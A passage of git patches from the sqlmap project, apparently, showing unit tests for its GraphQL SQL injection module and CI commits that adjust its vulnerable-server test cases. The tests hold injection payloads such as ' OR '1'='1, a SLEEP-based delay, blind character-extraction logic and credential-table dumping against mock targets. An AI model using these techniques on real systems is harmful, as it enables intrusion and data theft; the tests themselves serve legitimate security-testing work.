"SCALAR", "name": "Boolean"})) + + def test_escape_graphql_string(self): + self.assertEqual(gi._escapeGraphQLString('test"quote'), 'test\\"quote') + self.assertEqual(gi._escapeGraphQLString("back\\slash"), "back\\\\slash") + + def test_is_graphql_response_with_typename(self): + self.assertTrue(gi._isGraphQLResponse('{"data":{"__typename":"Query"}}')) + + def test_is_graphql_response_parse_error(self): + self.assertTrue(gi._isGraphQLResponse( + '{"errors":[{"message":"Syntax Error: Unexpected ","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}')) + + def test_not_graphql_response(self): + self.assertFalse(gi._isGraphQLResponse("hello")) + self.assertFalse(gi._isGraphQLResponse("")) + self.assertFalse(gi._isGraphQLResponse('{"data":{"user":{"id":1}}}')) # no __typename, no graphql error phrasing + + def test_error_text_extraction(self): + err = gi._errorText(DB_ERROR) + self.assertIn("SQL syntax", err) + self.assertIn("check the manual", err) + + def test_error_text_from_parse_failure(self): + err = gi._errorText(GQL_PARSE_ERROR) + self.assertIn("GRAPHQL_PARSE_FAILED", err) + self.assertIn("Syntax Error", err) + + def test_slot_value_from_data(self): + val = gi._slotValue(MATCH) + self.assertIn("luther", val) + self.assertIn("blisset", val) + + def test_slot_value_null(self): + val = gi._slotValue(NOMATCH) + self.assertIn("null", val) + + +class TestGraphqlIntrospection(unittest.TestCase): + """Schema walking and slot enumeration""" + + def test_extract_slots(self): + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + names = [(s.parentType, s.fieldName, s.targetArg, s.strategy) for s in slots] + self.assertIn(("Query", "user", "username", "string"), names) + self.assertIn(("Query", "byId", "id", "numeric"), names) + + def test_login_has_two_args(self): + """login(username: String!, password: String!) -- both required args should be in Slot""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertEqual(len(loginSlots), 2) + for s in loginSlots: + self.assertEqual(len(s.allArgs), 2) # username + password + + def test_scalar_return_has_empty_selection(self): + """version: String -- field with no args produces no slots""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + # version has no args, so it should NOT appear in slots + versionSlots = [s for s in slots if s.fieldName == "version"] + self.assertEqual(len(versionSlots), 0) + + +class TestGraphqlBuildQuery(unittest.TestCase): + """GraphQL query document construction from Slot + value""" + + def test_string_arg(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "luther") + self.assertIn('user(username:"luther")', q) + self.assertIn("{ id name }", q) + + def test_string_injection_payload(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("' OR '1'='1", q) + + def test_numeric_with_payload_is_empty(self): + """Numeric GraphQL literals cannot carry SQL payloads; _buildQuery returns ''""" + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1 OR 1=1") + self.assertEqual(q, "") + + def test_numeric_with_valid_integer(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1") + self.assertIn("byId(id:1)", q) + + def test_id_string(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "abc") + self.assertIn('get(uid:"abc")', q) + + def test_id_numeric(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "123") + self.assertIn("get(uid:123)", q) + + def test_two_required_args_renders_both(self): + """login(username: String!, password: String!) -- uninjected sibling gets a default""" + allArgs = [ + ("username", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("password", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "login", allArgs, "password", "string", + "OBJECT", "AuthPayload", "{ token user { id name } }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("login(", q) + self.assertIn("username:", q) # required sibling rendered + self.assertIn("password:", q) # target arg rendered + self.assertIn("' OR '1'='1", q) + + def test_mutation_wraps_with_mutation_keyword(self): + allArgs = [ + ("id", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ("email", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("mutation", "Mutation", "updateUser", allArgs, "email", "string", + "OBJECT", "User", "{ id name }") + q = gi._buildQuery(slot, "x' OR '1'='1") + self.assertTrue(q.startswith("mutation {")) + + +class TestGraphqlBooleanDetection(unittest.TestCase): + """Boolean-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + pages = {"true": MATCH, "false": NOMATCH} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return pages["true"], 200 + if "'1'='2" in query: + return pages["false"], 200 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_boolean_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNotNone(oracleType) + self.assertIn("boolean-based", oracleType) + + def test_numeric_skipped(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + +class TestGraphqlErrorDetection(unittest.TestCase): + """Error-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def fakeSend(endpoint, query, variables=None): + if "'" in query and "'1'='1" not in query: + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_error_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, detail = gi._detectError(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + + +class TestGraphqlParseRows(unittest.TestCase): + """JSON data row parsing for in-band dumps""" + + def test_single_object(self): + page = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' + slot = _slot("query", "Query", "user", "username", "string") + result = gi._parseRows(page, slot) + self.assertIsNotNone(result) + columns, rows = result + self.assertIn("id", columns) + self.assertIn("name", columns) + self.assertEqual(rows[0][columns.index("name")], "luther") + + def test_list_of_objects(self): + page = '{"data":{"search":[{"id":1,"name":"luther"},{"id":2,"name":"fluffy"}]}}' + slot = _slot("query", "Query", "search", "term", "string") + columns, rows = gi._parseRows(page, slot) + self.assertEqual(len(rows), 2) + names = [r[columns.index("name")] for r in rows] + self.assertIn("luther", names) + self.assertIn("fluffy", names) + + def test_null_returns_none(self): + page = '{"data":{"user":null}}' + slot = _slot("query", "Query", "user", "username", "string") + self.assertIsNone(gi._parseRows(page, slot)) + + def test_non_json_returns_none(self): + self.assertIsNone(gi._parseRows("", None)) + + +class TestGraphqlGrid(unittest.TestCase): + """ASCII table rendering""" + + def test_grid(self): + output = gi._grid(["id", "name"], [["1", "luther"], ["2", "fluffy"]]) + self.assertIn("id", output) + self.assertIn("luther", output) + self.assertIn("fluffy", output) + self.assertIn("+-", output) + self.assertIn("|", output) + + +class TestGraphqlEndpointDetection(unittest.TestCase): + """Mock endpoint detection""" + + def setUp(self): + self._gql = gi._gqlSend + def fakeSend(endpoint, query, variables=None): + if endpoint.endswith("/graphql") and "__typename" in query: + return '{"data":{"__typename":"Query"}}', 200 + return 'Not Found', 404 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_detect_direct_url(self): + endpoint, page = gi._detectEndpoint("http://test/graphql", probePaths=False) + self.assertEqual(endpoint, "http://test/graphql") + + def test_detect_via_probe(self): + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertEqual(endpoint, "http://test/graphql") + + def test_not_graphql_endpoint(self): + def fakeSend(endpoint, query, variables=None): + return 'Not Found', 404 + gi._gqlSend = fakeSend + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertIsNone(endpoint) + + +class TestGraphqlIntrospectionFallback(unittest.TestCase): + """Introspection without specifiedByURL (older servers)""" + + def setUp(self): + self._gql = gi._gqlSend + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def tearDown(self): + gi._gqlSend = self._gql + + def test_fallback_without_specifiedByURL(self): + calls = [] + def fakeSend(endpoint, query, variables=None): + calls.append(query) + if "specifiedByURL" in query: + return '{"errors":[{"message":"Unknown field specifiedByURL"}]}', 400 + return json.dumps(MOCK_SCHEMA), 200 + + gi._gqlSend = fakeSend + schema = gi._introspect("http://test/graphql") + self.assertIsNotNone(schema) + self.assertIn("queryType", schema) + self.assertEqual(len(calls), 2) # first fails, second succeeds + + +class TestGraphqlNestedReturnSelection(unittest.TestCase): + """Nested return selections for object-typed fields within the return type""" + + def test_auth_payload_nested_user(self): + """AuthPayload { token, user { id name } } -- selection must nest user sub-fields""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertTrue(len(loginSlots) > 0) + # The nested selection should include 'user { ... }' at some level + for s in loginSlots: + self.assertIn("token", s.returnSel) + # user sub-fields should appear + self.assertIn("id", s.returnSel) + self.assertIn("name", s.returnSel) + + +class TestGraphqlCell(unittest.TestCase): + """Dump-cell rendering: scalars as text, nested structures as compact JSON, null as NULL""" + + def test_scalar(self): + self.assertEqual(gi._cell("luther"), "luther") + self.assertEqual(gi._cell(7), "7") + + def test_null(self): + self.assertEqual(gi._cell(None), "NULL") + + def test_nested_object_is_json_not_repr(self): + # issue B: a nested object must not leak Python dict syntax into the dump + self.assertEqual(gi._cell({"id": 1, "name": "luther"}), '{"id": 1, "name": "luther"}') + self.assertEqual(gi._cell([1, 2]), "[1, 2]") + + +class TestGraphqlDialects(unittest.TestCase): + """Per-DBMS SQL building blocks""" + + def test_sqlite_ordinal_and_length(self): + d = gi.DIALECTS["SQLite"] + self.assertEqual(d.length("x"), "LENGTH((x))") + self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))") + + def test_sqlite_rows_handles_nulls(self): + d = gi.DIALECTS["SQLite"] + sql = d.rows(["name", "surname"], "users") + self.assertIn("GROUP_CONCAT", sql) + self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql) + self.assertIn("FROM users", sql) + + def test_mysql_uses_sleep_delay(self): + d = gi.DIALECTS["MySQL"] + self.assertEqual(d.delay("1=1", 5), "IF((1=1),SLEEP(5),0)") + + def test_sqlite_has_no_delay(self): + self.assertIsNone(gi.DIALECTS["SQLite"].delay) + + +class TestGraphqlFingerprint(unittest.TestCase): + """DBMS fingerprinting drives off the universal truth() predicate""" + + def test_identifies_sqlite(self): + truth = lambda cond: cond == gi.DIALECTS["SQLite"].fingerprint + self.assertEqual(gi._fingerprint(truth), "SQLite") + + def test_identifies_mysql(self): + truth = lambda cond: cond == gi.DIALECTS["MySQL"].fingerprint + self.assertEqual(gi._fingerprint(truth), "MySQL") + + def test_unknown_backend(self): + self.assertIsNone(gi._fingerprint(lambda cond: False)) + + +def _mockOracle(target): + """A synthetic SQLite-like dialect plus truth/truthBatch closures that answer comparison and bit + predicates against a known `target` string - lets the blind extractors be exercised without HTTP.""" + + dialect = gi.Dialect( + fingerprint="FP", delay=None, banner=None, currentUser=None, currentDb=None, + tables=None, columns=None, + length=lambda expr: "LEN(%s)" % expr, + ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), + rows=None) + + def _value(cond): + pos = None + if cond.startswith("LEN("): + value = len(target) + else: # ORD(,) + pos = int(cond[cond.index(",") + 1:cond.rindex(")")]) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + return value + + def truth(cond): + tail = cond[cond.rindex(")") + 1:] # e.g. ">=65" + op = re.match(r"(>=|>|=)", tail).group(1) + num = int(tail[len(op):]) + value = _value(cond) + return {">": value > num, ">=": value >= num, "=": value == num}[op] + + def truthBatch(conditions): + results = [] + for cond in conditions: + bit = re.match(r"\(ORD\(.*?,(\d+)\) & (\d+)\)>0$", cond) + if bit: + pos, mask = int(bit.group(1)), int(bit.group(2)) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + results.append((value & mask) > 0) + else: + results.append(truth(cond)) + return results + + return dialect, truth, truthBatch + + +class TestGraphqlInference(unittest.TestCase): + """Blind value recovery: sequential bisection and bit-parallel batched extraction""" + + def test_sequential_extraction(self): + for target in ("3.45.1", "users,creds", "db3a16990a0008a3b04707fdef6584a0", ""): + dialect, truth, _ = _mockOracle(target) + self.assertEqual(gi._inferExpr(truth, dialect, "EXPR"), target) + + def test_batched_extraction_matches_sequential(self): + for target in ("3.45.1", "users,creds", "luther~~~blisset^^^fluffy~~~bunny"): + dialect, _, truthBatch = _mockOracle(target) + self.assertEqual(gi._inferExprBatched(truthBatch, dialect, "EXPR"), target) + + def test_batched_empty(self): + dialect, _, truthBatch = _mockOracle("") + self.assertEqual(gi._inferExprBatched(truthBatch, dialect, "EXPR"), "") + + +class TestGraphqlDumpTable(unittest.TestCase): + """Whole-table dump: column list + row scalar split back into a grid""" + + def test_dump_table(self): + responses = { + "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('users'))": "id,name", + } + rowScalar = "1%snull^^^2%sluther" % ("~~~", "~~~") # two rows, two columns + + def infer(expr, maxLen=gi.MAX_LENGTH): + if expr in responses: + return responses[expr] + return rowScalar # the GROUP_CONCAT row dump + + columns, rows = gi._dumpTable(infer, gi.DIALECTS["SQLite"], "users") + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "null"], ["2", "luther"]]) + + +class TestGraphqlMakeOracle(unittest.TestCase): + """Universal truth()/truthBatch() primitive built from a slot's true/false contrast""" + + USER_OBJ = {"id": 1, "name": "luther", "surname": "blisset"} + + def setUp(self): + self._gql = gi._gqlSend + + def fakeSend(endpoint, query, variables=None): + if "a0:" in query: # batched, aliased request + data = {} + for m in re.finditer(r'(a\d+):\w+\(\w+:"[^"]*\((1=1|1=2)\)', query): + data[m.group(1)] = self.USER_OBJ if m.group(2) == "1=1" else None + return json.dumps({"data": data}), 200 + if "(1=1)" in query: + return json.dumps({"data": {"user": self.USER_OBJ}}), 200 + return json.dumps({"data": {"user": None}}), 200 + + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_truth_primitive(self): + slot = _slot("query", "Query", "user", "username", "string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertTrue(truth("1=1")) + self.assertFalse(truth("1=2")) + + def test_batched_truth(self): + slot = _slot("query", "Query", "user", "username", "string") + _, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertEqual(truthBatch(["1=1", "1=2", "1=1"]), [True, False, True]) + + +class TestVulnserverGraphqlParser(unittest.TestCase): + """The vulnserver's selection parser must survive aliased batches and bracketed payloads""" + + def setUp(self): + from extra.vulnserver import vulnserver + self.vs = vulnserver + + def test_match_skips_quoted_brackets(self): + text = 'user(username:"x\' OR (1=1)-- "){ id }' + end = self.vs._graphql_match(text, text.index("(")) + self.assertEqual(text[end - 1], ")") # the args close-paren, not one inside the string + + def test_single_field(self): + sels = self.vs._graphql_selections('user(username:"luther"){ id name }') + self.assertEqual(sels, [(None, "user", 'username:"luther"')]) + + def test_aliased_batch_with_payloads(self): + body = 'a0:user(username:"x\' OR (1=1)-- "){ id } a1:user(username:"x\' OR (1=2)-- "){ id }' + sels = self.vs._graphql_selections(body) + self.assertEqual([(a, f) for a, f, _ in sels], [("a0", "user"), ("a1", "user")]) + self.assertIn("(1=1)", sels[0][2]) + self.assertIn("(1=2)", sels[1][2]) + + def test_nested_selection_set(self): + sels = self.vs._graphql_selections('login(username:"a", password:"b"){ token user { id name } }') + self.assertEqual(len(sels), 1) + self.assertEqual(sels[0][1], "login") + + +class TestGraphqlSiblingDefaults(unittest.TestCase): + """Required sibling arguments must use their real type, not be hardcoded as strings""" + + def test_numeric_sibling_not_quoted(self): + """field(name: String!, limit: Int!) -- injecting 'name' renders limit:0, not limit:\"0\"""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("limit", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "search", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("limit:0", q) + self.assertNotIn('limit:"0"', q) + + def test_boolean_sibling_gets_default_string(self): + """field(name: String!, active: Boolean!) -- Boolean gets \"x\" since there is no Boolean strategy""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("active", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Boolean", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertIn('active:"x"', q) + + +class TestGraphqlScalarReturnSelection(unittest.TestCase): + """Scalar and list-of-scalar returns must not get a spurious {__typename} selection""" + + def test_scalar_return_has_no_selection(self): + """version(format: String): String -- no sub-selection""" + allArgs = [ + ("format", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "version", allArgs, "format", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "json") + self.assertIn('version(format:"json")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + def test_list_of_scalars_has_no_selection(self): + """tags(prefix: String): [String] -- no sub-selection""" + allArgs = [ + ("prefix", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "tags", allArgs, "prefix", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "a") + self.assertIn('tags(prefix:"a")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + +class TestGraphqlUnicodeSafety(unittest.TestCase): + """All string conversions must be safe under Python 2 and 3 for non-ASCII data""" + + def test_escape_graphql_string_unicode(self): + escaped = gi._escapeGraphQLString(u"caf\xe9") + self.assertIn("caf", escaped) + + def test_error_text_unicode(self): + page = u'{"errors":[{"message":"caf\xe9","extensions":{"code":"SYNTAX_ERROR"}}]}' + text = gi._errorText(page) + self.assertIn("caf", text) + + def test_cell_unicode(self): + self.assertIn("caf", gi._cell(u"caf\xe9")) + + +if __name__ == "__main__": + unittest.main() From e47b976f5ae64414120ea73d71d7f93769dacabd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 27 Jun 2026 19:34:20 +0200 Subject: [PATCH 067/165] Fixing CI/CD issue --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c27f6cf1b..f3dd0b723 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,11 +189,11 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7032c06dba29cfc35330e022823b778aa87849d5e92a33f4daff2a364d0c9ecd lib/core/settings.py +6a017fd28b2a70631d0c9391cb4d29bfce91f7f33812856c9402dad8d95d30e9 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -b63a8c4caed56796010e9b438ae6b4c398d4c4ed48d74b0a1a270302e0ce87ca lib/core/testing.py +9b3e17ecaf9d0a9e6a8426395406a7867eb3970fe468ad8346bbfebad7ccee7a lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py diff --git a/lib/core/settings.py b/lib/core/settings.py index ec1d36c15..f7882317d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.161" +VERSION = "1.10.6.162" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index d727f8cbf..6f897b7a0 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -89,7 +89,7 @@ def vulnTest(): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction - ("-u \"graphql\" --graphql --flush-session", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "available tables [2]: users, creds", "dumped table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "graphql scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "available tables [2]: users, creds", "dumped table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "graphql scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), From 7a951031224af6363952dd94f204b8afedc6576b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 27 Jun 2026 19:43:29 +0200 Subject: [PATCH 068/165] Fixing CI/CD issue --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f3dd0b723..a0a32e0db 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,11 +189,11 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6a017fd28b2a70631d0c9391cb4d29bfce91f7f33812856c9402dad8d95d30e9 lib/core/settings.py +1e5c125c69d2921ed69041a2462f6b41d11f9c1afdfe1987b60657484aa5ccf0 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -9b3e17ecaf9d0a9e6a8426395406a7867eb3970fe468ad8346bbfebad7ccee7a lib/core/testing.py +5955be979a1d5d3ee221d12e88805f6ef767d43bd4c542e01714cc868c4d020c lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f7882317d..22f29e553 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.162" +VERSION = "1.10.6.163" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 6f897b7a0..d30c63edb 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -89,7 +89,7 @@ def vulnTest(): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction - ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "available tables [2]: users, creds", "dumped table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "graphql scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), From e8162d314ae47fdf55952425522597e1cd1a3d3f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 01:36:38 +0200 Subject: [PATCH 069/165] Adding switch --ldap --- data/txt/sha256sums.txt | 15 +- extra/vulnserver/vulnserver.py | 295 +++++++++++++ lib/controller/checks.py | 8 + lib/controller/controller.py | 17 +- lib/core/settings.py | 42 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/ldap/__init__.py | 8 + lib/techniques/ldap/inject.py | 750 ++++++++++++++++++++++++++++++++ tests/test_ldap.py | 420 ++++++++++++++++++ 10 files changed, 1545 insertions(+), 14 deletions(-) create mode 100644 lib/techniques/ldap/__init__.py create mode 100644 lib/techniques/ldap/inject.py create mode 100644 tests/test_ldap.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a0a32e0db..899d7e710 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 